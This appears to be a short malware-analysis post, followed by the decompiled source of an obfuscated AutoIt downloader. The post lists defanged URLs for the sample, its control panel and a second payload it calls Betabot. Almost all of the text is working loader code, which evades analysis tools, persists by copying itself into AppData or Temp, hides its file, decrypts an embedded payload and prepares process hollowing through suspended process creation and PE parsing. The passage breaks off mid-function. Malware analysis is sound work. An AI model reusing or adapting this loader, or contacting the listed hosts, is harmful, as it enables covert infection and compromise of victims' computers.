The bot is downloaded by this autoit sample: hxxp://sglegacy.com/AA/dava.exe wich looks like http autoit downloader
login here: hxxp://www.sglegacy.com/AA/index.php/login
another sample downloaded from the dava.ese is this:
hxxp://la-majeur.com/images/beta.exe( Betabot)
here dava.exe decompiled:
$at2 = "0"
$at5 = 0
$at1 = "0"
$at3 = "0"
$avm = "0"
$asb = "0"
$at4 = "0"
#NoTrayIcon
#Region
#AutoIt3Wrapper_UseUpx=n
#EndRegion
$d_1 = $at5 * 1000
Sleep($d_1)
$r_1 = "r"
$r_2 = "o"
$r_3 = "a"
$l_i_s1 = @ScriptName
$l_i_s2 = @ScriptFullPath
$l_i_s3 = @TempDir
$l_i_s4 = @AppDataDir
$dd1 = "333"
$l_i_s5 = "307834" & $dd1 & "33"
$smth = "drowd"
$smth2 = "ssecorP"
$smth3 = "46tniu"
$l_i_s6 = "1" & $dd1 & "1" & $dd1 & "13431343"
$l_i_s7 = "" & $dd1 & "30" & $dd1 & "93432" & $dd1 & "0" & $dd1 & "13434343534343432" & $dd1 & "33431" & $dd1 & ""
$l_i_s8 = "0" & $dd1 & "1" & $dd1 & "8"
If $asb = "1" Then
If ProcessExists(_v28f6x1(_00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s6 & $l_i_s7 & "7" & $dd1 & "434363431" & $dd1 & "1" & $dd1 & "0" & $dd1 & "2" & $dd1 & "0" & $dd1 & "63431" & $dd1 & "8" & $dd1 & "2" & $dd1 & "0" & $dd1 & "0" & $dd1 & "1" & $dd1 & "0" & $dd1 & "7" & $dd1 & "63434343234313435" & $dd1 & "8343134" & $dd1 & "3323436" & $dd1 & "63436" & $dd1 & "9" & $dd1 & "634363432" & $dd1 & "63431" & $dd1 & "034323435" & $dd1 & "9" & $dd1 & "9343534323435" & $dd1 & "9" & $dd1 & "6" & $dd1 & "23436343134" & $dd1 & "4353434" & $dd1 & "7" & $dd1 & "" & $dd1 & "393436")), $r_1 & $r_3 & $r_2 & $r_1, 1))) Then
Exit
EndIf
If ProcessExists(_v28f6x1(_00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s6 & $l_i_s7 & "6" & $dd1 & "334363431" & $dd1 & "2" & $dd1 & "0" & $dd1 & "2" & $dd1 & "0" & $dd1 & "6343434" & $dd1 & "332" & $dd1 & "0" & $dd1 & "0" & $dd1 & "4" & $dd1 & "0" & $dd1 & "2" & $dd1 & "634" & $dd1 & "432" & $dd1 & "8" & $dd1 & "9" & $dd1 & "8343134" & $dd1 & "335" & $dd1 & "4" & $dd1 & "634353435343134363432" & $dd1 & "13436" & $dd1 & "7" & $dd1 & "234353432" & $dd1 & "934353432" & $dd1 & "9" & $dd1 & "9" & $dd1 & "6" & $dd1 & "2343134313434" & $dd1 & "93432" & $dd1 & "7" & $dd1 & "03435" & $dd1 & "8" & $dd1 & "4" & $dd1 & "4" & $dd1 & "" & $dd1 & "34343534" & $dd1 & "4343435" & $dd1 & "2" & $dd1 & "6" & $dd1 & "33435" & $dd1 & "834363432343134" & $dd1 & "332" & $dd1 & "03433")), $r_1 & $r_3 & $r_2 & $r_1, 1))) Then
Exit
EndIf
EndIf
If $at3 = "1" Then
$r_1158 = ProcessList()
If _hexr2r() = True Then
MsgBox(0, "", _v28f6x1(_00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s6 & "4" & $dd1 & "7" & $dd1 & "53432" & $dd1 & "0" & $dd1 & "634353435" & $dd1 & "834" & $dd1 & "33034343432" & $dd1 & "434" & $dd1 & "431" & $dd1 & "" & $dd1 & "30" & $dd1 & "2" & $dd1 & "0" & $dd1 & "634343432" & $dd1 & "2" & $dd1 & "1" & $dd1 & "7" & $dd1 & "0" & $dd1 & "0" & $dd1 & "1" & $dd1 & "63432343234353435343634313436" & $dd1 & "2" & $dd1 & "" & $dd1 & "3634353435343134363431" & $dd1 & "634" & $dd1 & "337" & $dd1 & "034353436" & $dd1 & "9343634" & $dd1 & "335" & $dd1 & "9" & $dd1 & "6" & $dd1 & "5" & $dd1 & "6343134" & $dd1 & "435" & $dd1 & "9" & $dd1 & "7" & $dd1 & "034353436" & $dd1 & "4" & $dd1 & "0" & $dd1 & "434363435343234343435" & $dd1 & "53434" & $dd1 & "43435" & $dd1 & "834363432" & $dd1 & "534" & $dd1 & "331" & $dd1 & "03435" & $dd1 & "534323431" & $dd1 & "2" & $dd1 & "1" & $dd1 & "4" & $dd1 & "4" & $dd1 & "6" & $dd1 & "334363431" & $dd1 & "03434" & $dd1 & "834363434" & $dd1 & "8" & $dd1 & "2" & $dd1 & "93435" & $dd1 & "" & $dd1 & "" & $dd1 & "4" & $dd1 & "3393431" & $dd1 & "6" & $dd1 & "1" & $dd1 & "13435" & $dd1 & "53432" & $dd1 & "" & $dd1 & "" & $dd1 & "4" & $dd1 & "3353432" & $dd1 & "4" & $dd1 & "6" & $dd1 & "8343634" & $dd1 & "43234" & $dd1 & "330" & $dd1 & "034313436" & $dd1 & "0" & $dd1 & "4" & $dd1 & "2" & $dd1 & "4" & $dd1 & "134363435" & $dd1 & "434353434" & $dd1 & "534" & $dd1 & "431" & $dd1 & "6" & $dd1 & "" & $dd1 & "38" & $dd1 & "4" & $dd1 & "33435" & $dd1 & "2" & $dd1 & "2" & $dd1 & "93431" & $dd1 & "6" & $dd1 & "4" & $dd1 & "9" & $dd1 & "7343634" & $dd1 & "43134323432" & $dd1 & "434313436" & $dd1 & "5" & $dd1 & "2" & $dd1 & "" & $dd1 & "36" & $dd1 & "834313431" & $dd1 & "" & $dd1 & "37" & $dd1 & "7" & $dd1 & "2" & $dd1 & "1" & $dd1 & "0" & $dd1 & "9" & $dd1 & "" & $dd1 & "30" & $dd1 & "9" & $dd1 & "3")), $r_1 & $r_3 & $r_2 & $r_1, 1)))
Exit
EndIf
EndIf
If $at1 = "1" Then
If $l_i_s2 = $l_i_s4 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $l_i_s1 Then
Sleep(1)
Else
$rand123 = ""
FileCopy($l_i_s2, $l_i_s4 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $rand123 & $l_i_s1)
Sleep(500)
Run($l_i_s4 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $rand123 & $l_i_s1)
_kms1()
Exit
EndIf
EndIf
If $at1 = "2" Then
If $l_i_s2 = $l_i_s3 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $l_i_s1 Then
Sleep(1)
Else
$rand123 = ""
FileCopy($l_i_s2, $l_i_s3 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $rand123 & $l_i_s1)
Sleep(500)
Run($l_i_s3 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $rand123 & $l_i_s1)
_kms1()
Exit
EndIf
EndIf
If $at1 = "3" Then
If $l_i_s2 = $l_i_s4 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $l_i_s1 Then
Sleep(1)
Else
$rand123 = ""
FileCopy($l_i_s2, $l_i_s4 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $rand123 & $l_i_s1)
Sleep(500)
Run($l_i_s4 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $rand123 & $l_i_s1)
Exit
EndIf
EndIf
If $at1 = "4" Then
If $l_i_s2 = $l_i_s3 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $l_i_s1 Then
Sleep(1)
Else
$rand123 = ""
FileCopy($l_i_s2, $l_i_s3 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $rand123 & $l_i_s1)
Sleep(500)
Run($l_i_s3 & _00vdk2(0, _an(_fgnmp3($l_i_s5 & $l_i_s8)), $r_1 & $r_3 & $r_2 & $r_1, 1) & $rand123 & $l_i_s1)
Exit
EndIf
EndIf
If $at2 = "1" Then
FileSetAttrib($l_i_s2, _v28f6x1("HS+"))
EndIf
$bb_1_0 = "t"
$bb_1_1 = "n" & $bb_1_0 & "6"
$bb_1_2 = ";"
$r_112 = _v28f6x1("iu") & $bb_1_1 & "4"
$d_2 = _v28f6x1("yr")
$d_3 = "C" & $d_2 & _v28f6x1($bb_1_0 & "p")
$e_1 = _v28f6x1("dro")
$e_2 = _v28f6x1("lo")
$r_12253 = _v28f6x1("wd") & $e_1
$r_1153 = "bo" & $e_2
$e_3 = "andl"
$e_5 = "h" & $e_3 & "e*"
$m_82 = "ord_p"
$m_8 = "dw" & $m_82 & $bb_1_0 & "r"
$r_1156 = "h" & $e_3 & "e"
$e_4 = "yte"
$ed_1 = "b" & $e_4 & "["
$e5_4 = $bb_1_0
$e5_42 = "r"
$x_1 = "p" & $e5_4 & $e5_42
$r_115 = "dw" & $e_1
$e5_5 = _v28f6x1("Msseco")
$342 = "i" & $bb_1_0 & "ePr" & $e5_5 & "em"
$e5_6 = "Wr" & $342 & "ory"
$e6_1 = $bb_1_0 & "ualAddr"
$e6_2 = "Vir" & $e6_1 & "ess"
$e6_3 = "or"
$r_113 = "w" & $e6_3 & "d"
$e6_4 = "alAllocE"
$e6_5 = $bb_1_2 & ""
$e6_6 = "aseCo"
$e6_7 = "Virtu" & $e6_4 & "x"
$e6_8 = "le" & $e6_6 & "nte"
$e6_9 = $e5_42 & "e" & $e6_8 & "xt"
$e7_1 = "yt"
$e7_2 = "e"
$r_114 = "b" & $e7_1 & $e7_2
$e7_3 = "inatePr"
$e7_4 = $e5_42 & "m" & $e7_3 & "oc"
$e1_8 = $bb_1_0 & "e" & $e7_4 & "ess"
Global Const $r_cr1 = 1
Global Const $r_cr2 = 24
Global Const $r_cr3 = -268435456
Global Const $r_cr9 = 4
Global Const $r_c1_1 = 2
Global Const $r_c1_2 = 1
Global Const $r_c1_4 = 1
Global Const $r_c1_5 = 32769
Global Const $r_c1_6 = 32770
Global Const $e_7 = 32771
Global Const $r_cr4 = 32772
Global Const $r_cr5 = 26115
Global Const $r_cr6 = 26126
Global Const $r_cr7 = 26127
Global Const $r_cr8 = 26128
Global Const $r_c1_7 = 26113
Global Const $r_c1_8 = 26114
Global Const $r_c1_9 = 26625
$e3_14 = "ll"
$e3_13 = _v28f6x1("d.2") & $e3_14
$e3_12 = _v28f6x1("3len") & $e3_13
$e3_1 = _v28f6x1($e5_42 & "ek") & $e3_12
Global Const $ef_2 = 4660
Global $ef_8[3]
Func _54j585()
If _h611r17() = 0 Then
$adv3 = "ll"
$adv2 = _v28f6x1("d.23ip") & $adv3
$adv = _v28f6x1("avdA") & $adv2
Local $ef_7 = DllOpen($adv)
If @error Then Return SetError(1, 0, False)
_3jznx510set($ef_7)
Local $d_5
Local $r_c2_1 = $r_cr2
$f223f = _v28f6x1("02_N")
$dgewg = _v28f6x1("IW") & $f223f & "00"
If @OSVersion = $dgewg Then $r_c2_1 = $r_cr1
$arndmvar = _v28f6x1($bb_1_0 & "noCeriuqcAtp")
$d_5 = DllCall(_3jznx510(), $r_1153, _v28f6x1("yrC") & $arndmvar & _v28f6x1($bb_1_0 & "xe"), $e_5, 0, $x_1, 0, $x_1, 0, $r_12253, $r_c2_1, $r_12253, $r_cr3)
If @error OR NOT $d_5[0] Then
DllClose(_3jznx510())
Return SetError(2, 0, False)
Else
_v28f6x11set($d_5[1])
EndIf
EndIf
_h611r17inc()
Return True
EndFunc
Func _fo97116()
_h611r17dec()
If _h611r17() = 0 Then
$r_c1_3 = _v28f6x1($bb_1_0 & "noCesae")
DllCall(_3jznx510(), $r_1153, $d_3 & _v28f6x1("leR") & $r_c1_3 & _v28f6x1($bb_1_0 & "xe"), $r_1156, _v28f6x11(), $r_12253, 0)
DllClose(_3jznx510())
EndIf
EndFunc
Func _h611r7($e_6, $d_4, $e_8 = $e_7)
Local $d_5
Local $ef_6
Local $d_6
Local $e_9
Local $ef_1
_54j585()
Do
$d_5 = DllCall(_3jznx510(), $r_1153, $d_3 & _v28f6x1("hsaHetaerC"), $r_1156, _v28f6x11(), _v28f6x1($bb_1_0 & "niu"), $e_8, $x_1, 0, $r_12253, 0, $e_5, 0)
If @error OR NOT $d_5[0] Then
$e_9 = 1
$ef_1 = -1
ExitLoop
EndIf
$ef_6 = $d_5[5]
$d_6 = DllStructCreate($ed_1 & BinaryLen($e_6) & "]")
DllStructSetData($d_6, 1, $e_6)
$d_5 = DllCall(_3jznx510(), $r_1153, $d_3 & _v28f6x1("ataDhsaH"), $r_1156, $ef_6, _v28f6x1("*tcurts"), $d_6, $r_12253, DllStructGetSize($d_6), $r_12253, $r_c1_4)
If @error OR NOT $d_5[0] Then
$e_9 = 2
$ef_1 = -1
ExitLoop
EndIf
$d_5 = DllCall(_3jznx510(), $r_1153, $d_3 & _v28f6x1("yeKevireD"), $r_1156, _v28f6x11(), _v28f6x1($bb_1_0 & "niu"), $d_4, $r_1156, $ef_6, $r_12253, $r_c1_2, $e_5, 0)
If @error OR NOT $d_5[0] Then
$e_9 = 3
$ef_1 = -1
ExitLoop
EndIf
$e_9 = 0
$ef_1 = $d_5[5]
Until True
If $ef_6 <> 0 Then DllCall(_3jznx510(), $r_1153, $d_3 & _v28f6x1("hsaHyortseD"), $r_1156, $ef_6)
Return SetError($e_9, 0, $ef_1)
EndFunc
Func _893px8($hcryptkey)
Local $d_5 = DllCall(_3jznx510(), $r_1153, $d_3 & _v28f6x1("yeKyortseD"), $r_1156, $hcryptkey)
Local $kjlfcljxkf0gdslohsdf = @error
_fo97116()
If $kjlfcljxkf0gdslohsdf OR NOT $d_5[0] Then
Return SetError(1, 0, False)
Else
Return SetError(0, 0, True)
EndIf
EndFunc
Func _phu3a99($ef_3, $d_7, $d_4, $ef_4 = True)
Local $d_6
Local $e_9
Local $ef_1
Local $ef_5
Local $d_5
_54j585()
Do
If $d_4 <> $ef_2 Then
$d_7 = _h611r7($d_7, $d_4)
If @error Then
$e_9 = 1
$ef_1 = -1
ExitLoop
EndIf
EndIf
$d_5 = DllCall(_3jznx510(), $r_1153, $d_3 & _v28f6x1($bb_1_0 & "pyrcnE"), $r_1156, $d_7, $r_1156, 0, $r_1153, $ef_4, $r_12253, 0, $x_1, 0, $r_115 & "*", BinaryLen($ef_3), $r_12253, 0)
If @error OR NOT $d_5[0] Then
$e_9 = 2
$ef_1 = -1
ExitLoop
EndIf
$ef_5 = $d_5[6]
$d_6 = DllStructCreate($ed_1 & $ef_5 & "]")
DllStructSetData($d_6, 1, $ef_3)
$d_5 = DllCall(_3jznx510(), $r_1153, $d_3 & _v28f6x1($bb_1_0 & "pyrcnE"), $r_1156, $d_7, $r_1156, 0, $r_1153, $ef_4, $r_12253, 0, _v28f6x1("*tcurts"), $d_6, $r_115 & "*", BinaryLen($ef_3), $r_12253, DllStructGetSize($d_6))
If @error OR NOT $d_5[0] Then
$e_9 = 3
$ef_1 = -1
ExitLoop
EndIf
$e_9 = 0
$ef_1 = DllStructGetData($d_6, 1)
Until True
If $d_4 <> $ef_2 Then _893px8($d_7)
_fo97116()
Return SetError($e_9, 0, $ef_1)
EndFunc
Func _nbed($ef_3, $d_7, $d_4, $ef_4 = True)
Local $d_6
Local $e_9
Local $ef_1
Local $d_9
Local $d_8
Local $d_5
_54j585()
Do
If $d_4 <> $ef_2 Then
$d_7 = _h611r7($d_7, $d_4)
If @error Then
$e_9 = 1
$ef_1 = -1
ExitLoop
EndIf
EndIf
$d_6 = DllStructCreate($ed_1 & BinaryLen($ef_3) + 1000 & "]")
DllStructSetData($d_6, 1, $ef_3)
$d_5 = DllCall(_3jznx510(), $r_1153, $d_3 & _v28f6x1($bb_1_0 & "pyrceD"), $r_1156, $d_7, $r_1156, 0, $r_1153, $ef_4, $r_12253, 0, _v28f6x1("*tcurts"), $d_6, $r_115 & "*", BinaryLen($ef_3))
If @error OR NOT $d_5[0] Then
$e_9 = 2
$ef_1 = -1
ExitLoop
EndIf
$d_8 = $d_5[6]
$d_9 = DllStructCreate($ed_1 & $d_8 & "]", DllStructGetPtr($d_6))
$e_9 = 0
$ef_1 = DllStructGetData($d_9, 1)
Until True
If $d_4 <> $ef_2 Then _893px8($d_7)
_fo97116()
Return SetError($e_9, 0, $ef_1)
EndFunc
Func _h611r17()
Return $ef_8[0]
EndFunc
Func _h611r17inc()
$ef_8[0] += 1
EndFunc
Func _h611r17dec()
If $ef_8[0] > 0 Then $ef_8[0] -= 1
EndFunc
Func _3jznx510()
Return $ef_8[1]
EndFunc
Func _3jznx510set($ef_7)
$ef_8[1] = $ef_7
EndFunc
Func _v28f6x11()
Return $ef_8[2]
EndFunc
Func _v28f6x11set($ef_9)
$ef_8[2] = $ef_9
EndFunc
Func _bne8($1, $2a = "", $3 = @AutoItExe)
Local $e4_4 = @AutoItX64
Local $e5_7 = Binary($1)
Local $e5_8 = DllStructCreate($ed_1 & BinaryLen($e5_7) & "]")
DllStructSetData($e5_8, 1, $e5_7)
Local $e3_4 = DllStructGetPtr($e5_8)
Local $e5_9 = DllStructCreate($r_115 & _v28f6x1($bb_1_2 & "eziSbc ") & $x_1 & _v28f6x1($bb_1_2 & "devreseR ") & $x_1 & _v28f6x1($bb_1_2 & "potkseD ") & $x_1 & _v28f6x1($bb_1_2 & "eltiT ") & $r_115 & _v28f6x1($bb_1_2 & "X ") & $r_115 & _v28f6x1($bb_1_2 & "Y ") & $r_115 & _v28f6x1($bb_1_2 & "eziSX ") & $r_115 & _v28f6x1($bb_1_2 & "eziSY ") & $r_115 & _v28f6x1($bb_1_2 & "srahCtnuoCX ") & $r_115 & _v28f6x1($bb_1_2 & "srahCtnuoCY ") & $r_115 & _v28f6x1($bb_1_2 & "etubirttAlliF ") & $r_115 & _v28f6x1($bb_1_2 & "sgalF ") & $r_113 & _v28f6x1($bb_1_2 & "wodniWwohS ") & $r_113 & _v28f6x1($bb_1_2 & "2devreseR ") & $x_1 & _v28f6x1($bb_1_2 & "2devreseR ") & $x_1 & _v28f6x1($bb_1_2 & $bb_1_0 & "upnIdtSh ") & $x_1 & _v28f6x1($bb_1_2 & $bb_1_0 & "uptuOdtSh ") & $x_1 & _v28f6x1($e5_42 & "orrEdtSh "))
Local $e1_3 = DllStructCreate($x_1 & _v28f6x1($bb_1_2 & "" & $smth2 & " ") & $x_1 & _v28f6x1($bb_1_2 & "daerhT ") & $r_115 & _v28f6x1($bb_1_2 & "dI" & $smth2 & " ") & $r_115 & _v28f6x1("dIdaerhT "))
Local $r_1151 = DllCall($e3_1, $r_1153, _v28f6x1("W" & $smth2 & "etaerC"), _v28f6x1($e5_42 & "tsw"), $3, _v28f6x1($e5_42 & "tsw"), $2a, $x_1, 0, $x_1, 0, _v28f6x1($bb_1_0 & "ni"), 0, $r_12253, 4, $x_1, 0, $x_1, 0, $x_1, DllStructGetPtr($e5_9), $x_1, DllStructGetPtr($e1_3))
If @error OR NOT $r_1151[0] Then Return SetError(1, 0, 0)
Local $r_1152 = DllStructGetData($e1_3, _v28f6x1("" & $smth2 & ""))
Local $e1_4 = DllStructGetData($e1_3, _v28f6x1("daerhT"))
If $e4_4 AND _fvsdhuweugweuighw325235235c($r_1152) Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(2, 0, 0)
EndIf
Local $e5_2, $e1_6
If $e4_4 Then
If @OSArch = _v28f6x1("46X") Then
$e5_2 = 2
$e1_6 = DllStructCreate(_v28f6x1($bb_1_2 & "emoH6P " & $smth3 & " ;emoH5P " & $smth3 & " ;emoH4P " & $smth3 & " ;emoH3P " & $smth3 & " ;emoH2P " & $smth3 & " ;emoH1P " & $smth3 & " ;61 ngila") & $r_115 & _v28f6x1($bb_1_2 & $e5_42 & "sCxM " & $smth & " ;sgalFtxetnoC ") & $r_113 & _v28f6x1($bb_1_2 & "sgalFE " & $smth & " ;sSgeS drow ;sGgeS drow ;sFgeS drow ;sEgeS drow ;sDgeS drow ;SCgeS ") & _v28f6x1($bb_1_2 & "7rD " & $smth3 & " ;6rD " & $smth3 & " ;3rD " & $smth3 & " ;2rD " & $smth3 & " ;1rD " & $smth3 & " ;0rD " & $smth3 & "") & _v28f6x1($bb_1_2 & "51R " & $smth3 & " ;41R " & $smth3 & " ;31R " & $smth3 & " ;21R " & $smth3 & " ;11R " & $smth3 & " ;01R " & $smth3 & " ;9R " & $smth3 & " ;8R " & $smth3 & " ;idR " & $smth3 & " ;isR " & $smth3 & " ;pbR " & $smth3 & " ;psR " & $smth3 & " ;xbR " & $smth3 & " ;xdR " & $smth3 & " ;xcR " & $smth3 & " ;xaR " & $smth3 & "") & _v28f6x1($bb_1_2 & "piR " & $smth3 & "") & _v28f6x1($bb_1_2 & "]2[51mmX " & $smth3 & " ;]2[41mmX " & $smth3 & " ;]2[31mmX " & $smth3 & " ;]2[21mmX " & $smth3 & " ;]2[11mmX " & $smth3 & " ;]2[01mmX " & $smth3 & " ;]2[9mmX " & $smth3 & " ;]2[8mmX " & $smth3 & " ;]2[7mmX " & $smth3 & " ;]2[6mmX " & $smth3 & " ;]2[5mmX " & $smth3 & " ;]2[4mmX " & $smth3 & " ;]2[3mmX " & $smth3 & " ;]2[2mmX " & $smth3 & " ;]2[1mmX " & $smth3 & " ;]2[0mmX " & $smth3 & " ;]61[ycageL " & $smth3 & " ;]4[redaeH " & $smth3 & "") & _v28f6x1($bb_1_2 & "lortnoCrotceV " & $smth3 & " ;]25[retsigeRrotceV " & $smth3 & "") & _v28f6x1("piRmorFnoitpecxEtsaL " & $smth3 & " ;piRoTnoitpecxEtsaL " & $smth3 & " ;piRmorFhcnarBtsaL " & $smth3 & " ;piRoThcnarBtsaL " & $smth3 & " ;lortnoCgubeD " & $smth3 & ""))
Else
$e5_2 = 3
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(102, 0, 0)
EndIf
Else
$e5_2 = 1
$e1_6 = DllStructCreate($r_115 & _v28f6x1($bb_1_2 & "sgalFtxetnoC ") & $r_115 & _v28f6x1($bb_1_2 & "7rD " & $smth & " ;6rD " & $smth & " ;3rD " & $smth & " ;2rD " & $smth & " ;1rD " & $smth & " ;0rD ") & $r_115 & _v28f6x1($bb_1_2 & "etatSxpN0rC " & $smth & " ;]08[aerAretsigeR etyb ;rotceleSataD " & $smth & " ;tesffOataD " & $smth & " ;rotceleSrorrE " & $smth & " ;tesffOrorrE " & $smth & " ;droWgaT " & $smth & " ;droWsutatS " & $smth & " ;droWlortnoC ") & $r_115 & _v28f6x1($bb_1_2 & "sDgeS " & $smth & " ;sEgeS " & $smth & " ;sFgeS " & $smth & " ;sGgeS ") & $r_115 & _v28f6x1($bb_1_2 & "xaE " & $smth & " ;xcE " & $smth & " ;xdE " & $smth & " ;xbE " & $smth & " ;isE " & $smth & " ;idE ") & $r_115 & _v28f6x1($bb_1_2 & "sSgeS " & $smth & " ;psE " & $smth & " ;sgalFE " & $smth & " ;sCgeS " & $smth & " ;piE " & $smth & " ;pbE ") & $r_114 & _v28f6x1("]215[sretsigeRdednetxE "))
EndIf
Local $e5_1
Switch $e5_2
Case 1
$e5_1 = 65543
Case 2
$e5_1 = 1048583
Case 3
$e5_1 = 524327
EndSwitch
DllStructSetData($e1_6, _v28f6x1("sgalFtxetnoC"), $e5_1)
$r_1151 = DllCall($e3_1, $r_1153, _v28f6x1($bb_1_0 & "xetnoCdaerhTteG"), $r_1156, $e1_4, $x_1, DllStructGetPtr($e1_6))
If @error OR NOT $r_1151[0] Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(3, 0, 0)
EndIf
Local $e5_3
Switch $e5_2
Case 1
$e5_3 = DllStructGetData($e1_6, _v28f6x1("xbE"))
Case 2
$e5_3 = DllStructGetData($e1_6, _v28f6x1("xdR"))
Case 3
EndSwitch
Local $e4_8 = DllStructCreate(_v28f6x1($bb_1_2 & "]2[cigaM rahc") & $r_113 & _v28f6x1($bb_1_2 & "egaPtsaLnOsetyB ") & $r_113 & _v28f6x1($bb_1_2 & "segaP ") & $r_113 & _v28f6x1($bb_1_2 & "snoitacoleR ") & $r_113 & _v28f6x1($bb_1_2 & $e5_42 & "edaeHfoeziS ") & $r_113 & _v28f6x1($bb_1_2 & "artxEmuminiM ") & $r_113 & _v28f6x1($bb_1_2 & "artxEmumixaM ") & $r_113 & _v28f6x1($bb_1_2 & "SS ") & $r_113 & _v28f6x1($bb_1_2 & "PS ") & $r_113 & _v28f6x1($bb_1_2 & "muskcehC ") & $r_113 & _v28f6x1($bb_1_2 & "PI ") & $r_113 & _v28f6x1($bb_1_2 & "SC ") & $r_113 & _v28f6x1($bb_1_2 & "noitacoleR ") & $r_113 & _v28f6x1($bb_1_2 & "yalrevO ") & _v28f6x1($bb_1_2 & "]8[devreseR rahc") & $r_113 & _v28f6x1($bb_1_2 & $e5_42 & "eifitnedIMEO ") & $r_113 & _v28f6x1($bb_1_2 & "noitamrofnIMEO ") & _v28f6x1($bb_1_2 & "]02[2devreseR rahc") & $r_115 & _v28f6x1($e5_42 & "edaeHexEweNfOsserddA "), $e3_4)
Local $e3_5 = $e3_4
$e3_4 += DllStructGetData($e4_8, _v28f6x1($e5_42 & "edaeHexEweNfOsserddA"))
Local $e4_9 = DllStructGetData($e4_8, _v28f6x1("cigaM"))
If NOT ($e4_9 == _v28f6x1("ZM")) Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(4, 0, 0)
EndIf
Local $e4_6 = DllStructCreate($r_115 & _v28f6x1("erutangiS "), $e3_4)
$e3_4 += 4
If DllStructGetData($e4_6, _v28f6x1("erutangiS")) <> 17744 Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(5, 0, 0)
EndIf
Local $e4_5 = DllStructCreate($r_113 & _v28f6x1($bb_1_2 & "enihcaM ") & $r_113 & _v28f6x1($bb_1_2 & "snoitceSfOrebmuN ") & $r_115 & _v28f6x1($bb_1_2 & "pmatSetaDemiT ") & $r_115 & _v28f6x1($bb_1_2 & "elbaTlobmySoTretnioP ") & $r_115 & _v28f6x1($bb_1_2 & "slobmySfOrebmuN ") & $r_113 & _v28f6x1($bb_1_2 & $e5_42 & "edaeHlanoitpOfOeziS ") & $r_113 & _v28f6x1("scitsiretcarahC "), $e3_4)
Local $e3_6 = DllStructGetData($e4_5, _v28f6x1("snoitceSfOrebmuN"))
$e3_4 += 20
Local $e4_7 = DllStructCreate($r_113 & _v28f6x1($bb_1_2 & "cigaM "), $e3_4)
Local $e2_3 = DllStructGetData($e4_7, 1)
Local $e3_8
If $e2_3 = 267 Then
If $e4_4 Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(6, 0, 0)
EndIf
$e3_8 = DllStructCreate($r_113 & _v28f6x1($bb_1_2 & "cigaM ") & $r_114 & _v28f6x1($bb_1_2 & "noisreVrekniLrojaM ") & $r_114 & _v28f6x1($bb_1_2 & "noisreVrekniLroniM ") & $r_115 & _v28f6x1($bb_1_2 & "edoCfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "ataDdezilaitinIfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "ataDdezilaitininUfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & $bb_1_0 & "nioPyrtnEfOsserddA ") & $r_115 & _v28f6x1($bb_1_2 & "edoCfOesaB ") & $r_115 & _v28f6x1($bb_1_2 & "ataDfOesaB ") & $r_115 & _v28f6x1($bb_1_2 & "esaBegamI ") & $r_115 & _v28f6x1($bb_1_2 & $bb_1_0 & "nemngilAnoitceS ") & $r_115 & _v28f6x1($bb_1_2 & $bb_1_0 & "nemngilAeliF ") & $r_113 & _v28f6x1($bb_1_2 & "noisreVmetsySgnitarepOrojaM ") & $r_113 & _v28f6x1($bb_1_2 & "noisreVmetsySgnitarepOroniM ") & $r_113 & _v28f6x1($bb_1_2 & "noisreVegamIrojaM ") & $r_113 & _v28f6x1($bb_1_2 & "noisreVegamIroniM ") & $r_113 & _v28f6x1($bb_1_2 & "noisreVmetsysbuSrojaM ") & $r_113 & _v28f6x1($bb_1_2 & "noisreVmetsysbuSroniM ") & $r_115 & _v28f6x1($bb_1_2 & "eulaVnoisreV23niW ") & $r_115 & _v28f6x1($bb_1_2 & "egamIfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "sredaeHfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "muSkcehC ") & $r_113 & _v28f6x1($bb_1_2 & "metsysbuS ") & $r_113 & _v28f6x1($bb_1_2 & "scitsiretcarahCllD ") & $r_115 & _v28f6x1($bb_1_2 & "evreseRkcatSfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & $bb_1_0 & "immoCkcatSfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "evreseRpaeHfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & $bb_1_0 & "immoCpaeHfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "sgalFredaoL ") & $r_115 & _v28f6x1("seziSdnAavRfOrebmuN "), $e3_4)
$e3_4 += 96
ElseIf $e2_3 = 523 Then
